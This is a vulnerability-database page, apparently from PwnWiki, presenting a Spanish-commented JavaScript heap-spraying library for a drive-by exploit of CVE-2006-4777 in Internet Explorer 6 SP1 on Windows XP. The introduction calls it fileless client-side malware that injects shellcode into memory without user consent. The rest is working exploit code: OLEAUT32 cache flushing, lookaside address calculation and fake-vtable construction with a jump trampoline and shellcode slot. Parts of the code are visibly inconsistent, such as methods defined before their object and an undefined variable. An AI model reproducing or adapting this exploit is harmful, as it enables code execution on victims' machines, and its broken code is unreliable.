Loading
0

CVE-2006-4777 Internet Explorer 6.0 SP1缓冲区溢出漏洞

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库

,

INFO

# js-driveby-download-CVE-2006-4777
malware del lado del cliente de explotacion de vulnerabilidad de internet explorer 6.0 SP1 en windows xp SP2. 
No requiere de consentimiento por parte del usuario y no descarga ningun archivo.
Injeccion de Codigo Shell en la RAM desde JavaScript con IE en Windows XP.

Fileless, drive-by-download, client side malware.

PilaLib.js

function pilaLib() {
}

pilaLib.ie.prototype.cadenaHex = function(numeroHexadecimal, anchoBytes)
{
    var digitos = "0123456789ABCDEF";
    var cadenaHexadec = digitos.substr(numeroHexadecimal & 0xF, 1);
    while (numeroHexadecimal > 0xF) {
        numeroHexadecimal = numeroHexadecimal >>> 4;
        cadenaHexadec = digitos.substr(numeroHexadecimal & 0xF, 1) + cadenaHexadec;
    }
    var anchoBytes = (anchoBytes ? anchoBytes : 0);
    while (cadenaHexadec.length < anchoBytes)
        cadenaHexadec = "0" + cadenaHexadec;
    return cadenaHexadec;
}

pilaLib.ie.prototype.direccion = function(direccion) {
    return unescape("%u" + this.cadenaHex(direccion & 0xFFFF, 4) + "%u" + this.cadenaHex((direccion >> 16) & 0xFFFF, 4));
}

pilaLib.ie.prototype.escribeInts32Bits = function(numeroBytesBloque, etiquetaBloque) {
    var tamanio;
    // Calculate the allocation size
    if (typeof numeroBytesBloque == "string" || numeroBytesBloque instanceof String)
        tamanio = 4 + numeroBytesBloque.length*2 + 2;    // len + string data + null terminator
    else
        tamanio = numeroBytesBloque;
    // Make sure that the size is valid
    if ((tamanio & 0xf) != 0)
        throw "Allocation size " + tamanio + " must be a multiple of 16";
    // Create an array for this tag if doesn't already exist
    if (this.memoriaetiquetaBloque === undefined)
        this.memoriaetiquetaBloque = new Array();
    if (typeof numeroBytesBloque == "string" || numeroBytesBloque instanceof String) {
        // Allocate a new block with strdup of the string argument
        this.memoriaetiquetaBloque.push(numeroBytesBloque.substr(0, numeroBytesBloque.length));
    }
    else {
        // Allocate the block
        this.memoriaetiquetaBloque.push(this.rellena((numeroBytesBloque-6)/2));
    }
}

pilaLib.ie.prototype.liberaInts32Bits = function(etiqueta) {
    delete this.memoriaetiqueta;
    
    // Run the garbage collector
    CollectGarbage();
}

pilaLib.ie.prototype.limpiaCache = function() {
    this.depur("Flushing the OLEAUT32 cache");
    // Free the maximum size blocks and push out all smaller blocks
    this.liberaInts32Bits("oleaut32");
    
    // Allocate the maximum sized blocks again, emptying the cache
    for (var i = 0; i < 6; i++) {
        this.escribeInts32Bits(32, "oleaut32");
        this.escribeInts32Bits(64, "oleaut32");
        this.escribeInts32Bits(256, "oleaut32");
        this.escribeInts32Bits(32768, "oleaut32");
    }
}

//perdemos la referencia al objeto o string, pero su contenido queda guardado en memoria y reubicado por el recol basur
pilaLib.ie.prototype.libera = function(etiqueta) {
    // Free the blocks with the OLEAUT32 free function
    this.liberaInts32Bits(etiqueta);
    // Flush the OLEAUT32 cache
    this.limpiaCache();
}

//----------------------------------------------------------
//----------------------PUBLICAS----------------------------

pilaLib.ie.prototype.recolectorBasura = function() {
	CollectGarbage();
    this.limpiaCache();
}

pilaLib.ie = function(tamanioBloqueMaximo, basePila) {
    this.tamanioBloqueMaximo = (tamanioBloqueMaximo ? tamanioBloqueMaximo : 65535);
    this.basePila = (basePila ? basePila : 0x150000);
    // Allocate a padding string that uses maxAlloc bytes
    this.textoRelleno = "AAAA";
    while (4 + this.textoRelleno.length*2 + 2 < this.tamanioBloqueMaximo) {
        this.textoRelleno += this.textoRelleno;
    }
    
    // Create an array for storing references to allocated memory
    this.memoria = new Array();
    // Call flushOleaut32() once to allocate the maximum size blocks
    this.limpiaCache();
}

pilaLib.ie.prototype.rellena = function(longitud) {
    if (longitud > this.textoRelleno.length)
        throw "Requested padding string length " + longitud + ", only " + this.textoRelleno.length + " available";
    return this.textoRelleno.substr(0, longitud);
}

//en C++ los objetos se guardan en una lista de nodos de 48 bytes que se llaman lista de tablas virtuales
pilaLib.ie.prototype.creaPunteroListaTablas = function(cadenaTablaVirtual)
{
    var tamanio;
    // Calculate the allocation size
    if (typeof cadenaTablaVirtual == "string" || cadenaTablaVirtual instanceof String)
        tamanio = 4 + cadenaTablaVirtual.length*2 + 2;    // len + string data + null terminator
    else
        tamanio = cadenaTablaVirtual;
    // Make sure that the size is valid
    if ((tamanio & 0xf) != 0)
        throw "Allocation size " + tamanio + " must be a multiple of 16";
    if (tamanio+8 >= 1024)
        throw("Maximum lookaside block tamanio is 1008 bytes");
    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
    // structure for each block size + header size in 8 byte increments.
	
	//la lista de tablas contiene paquetes, en cada uno se guarda una tabla y su cabecera aniadida de 8 bytes
	//cada paquete tiene x nodos(es su representacion en memoria).cada nodo es de 48 bytes y guarda solo un marco de su paquete
	//Un marco son 8 bytes del paquete, asi que un supuesto paquete de 16 bytes = 8tabla+8cabecera tendria dos nodos, 
	//cada uno guardaria un marco de 8bytes, el primer nodo guardaria el marco con la info de la tabla y el segundo el marco con la cabecera
	//ademas cada nodo guarda informacion extra que no nos importa(esos 40 bytes extra)
	//es decir, un paquete ocupa = tamanioTabla+8(cabecera) =  en este caso 1016bytes = tamanioPaqueteB
	//y se guarda en memoria en marcos de 8bytes, tamanioPaqueteM = tamanioPaqueteB/8 = 127 marcos
	//y estos se guardan en nodos de tamanioNodo=tamanioPaqueteM*48 = en este caso 6096 bytes
	//asi la lista de nodos ocupa = ((tamanioTabla+8)/8)*48 bytes
    return this.basePila + 0x688 + ((tamanio+8)/8)*48;
}

//crea un objeto falso con codigo ensamblador que ejecuta el codigo concha
pilaLib.ie.prototype.creaTabVirt = function(codigoConcha, direccionSaltoEjecucion, tamanio) {
    var tamanio = (tamanio ? tamanio : 1008);
    //asegura que el tamanio de la tabla es valido
    if ((tamanio & 0xf) != 0)
        throw "el tamanio de la Vtable " + tamanio + " debe ser multiplo de 16";
    if (codigoConcha.length*2 > tamanio-138)
        throw("el tamanio maximo del codigo concha es " + (tamanio-138) + " bytes");
    //Construye la tabla virtual que ira emplazada en nuestra lista tablas virtuales de bloques de 1008
    //
    //funcionSuma = addeax; addeax         funcionResta = subeax, al;subeax, al      funcionSalto=nop, nop, exc+8+124
    //
    // lookaside ptr  jmp +124  addr of jmp ecx  sub eax, al*2  shellcode       null
    // 4 bytes        4 bytes   124 bytes        4 bytes          size-138 bytes  2 bytes
    // funcionSuma  funcionSalto  31xdirSalto   funcionResta  shellcode+relleno  null
    // 124bytes tienen la dir de salto 31 veces repetida y seguida
	
	// 3 funciones para ejecutar el salto: nop, nop, exc+8+124
    var tablaVirtual = unescape("%u9090%u7ceb")   // nop, nop, jmp + 124
    for (var i = 0; i < 124/4; i++)
        tablaVirtual += this.direccion(direccionSaltoEjecucion);
    // If the vtable is the only entry on the lookaside, the first 4 bytes will
    // be 00 00 00 00, which disassembles as two add eax, al instructions.
    // The jmp ecx trampoline will jump back to the beginning of the vtable and
    // execute the add eax, al instructions. We need to use two sub eax, al
    // instructions to fix the heap.
    tablaVirtual += unescape("%u0028%u0028") +    // two sub eax, al instructions
              codigoConcha + pila.rellena((tamanio-138)/2 - codigoConcha.length);
    return tablaVirtual;
}

//reserva memoria
pilaLib.ie.prototype.escribeEnMemoria = function(numeroBytesBloque, etiquetaBloque) {
    var tamanio;
    // Calculate the allocation size
    if (typeof numeroBytesBloque == "string" || numeroBytesBloque instanceof String)
        tamanio = 4 + numeroBytesBloque.length*2 + 2;    // len + string data + null terminator
    else
        tamanio = numeroBytesBloque;
    // Make sure that the size is valid
    if (tamanio == 32 || tamanio == 64 || tamanio == 256 || tamanio == 32768)
        throw "Allocation sizes " + tamanio + " cannot be flushed out of the OLEAUT32 cache";
    // Allocate the block with the OLEAUT32 allocator
    this.escribeInts32Bits(numeroBytesBloque, etiquetaBloque);
}

pilaLib.ie.prototype.guardaTabla = function(tabla, numBloques) {
    var tamanio;
    // Calculate the allocation size
    if (typeof tabla == "string" || tabla instanceof String)
        tamanio = 4 + tabla.length*2 + 2;    // len + string data + null terminator
    else
        tamanio = tabla;
    // Make sure that the size is valid
    if ((tamanio & 0xf) != 0)
        throw "Allocation size " + tamanio + " must be a multiple of 16";
    if (tamanio+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");
    var numBloques = (numBloques ? numBloques : 1);
    for (var i = 0; i < numBloques; i++)
        this.escribeEnMemoria(tabla, "tablaAliberar");
    this.libera("tablaAliberar");
}

pilaLib.ie.prototype.guardaBloqueInjector = function(contenidoBloqueInjector, numFilas) {
    var numFilas = (numFilas ? numFilas : 1);
    for (var i = 0; i < numFilas; i++) {
        this.escribeEnMemoria(contenidoBloqueInjector,"e");//relleno
        this.escribeEnMemoria(contenidoBloqueInjector, "bloqueAliberar");
    }
    this.escribeEnMemoria(contenidoBloqueInjector,"e");//relleno
    this.libera("bloqueAliberar");
}

//depura sin usar la pila de STRINGs de la RAM
pilaLib.ie.prototype.depur = function(msg) {
    void(Math.atan2(0xbabe, msg));
}

pilaLib.ie.prototype.depurar = function(enable) {
    if (enable == true)
        void(Math.atan(0xbabe));
    else
        void(Math.asin(0xbabe));
}




PWNWIK.COM==免费、自由、人人可编辑的漏洞库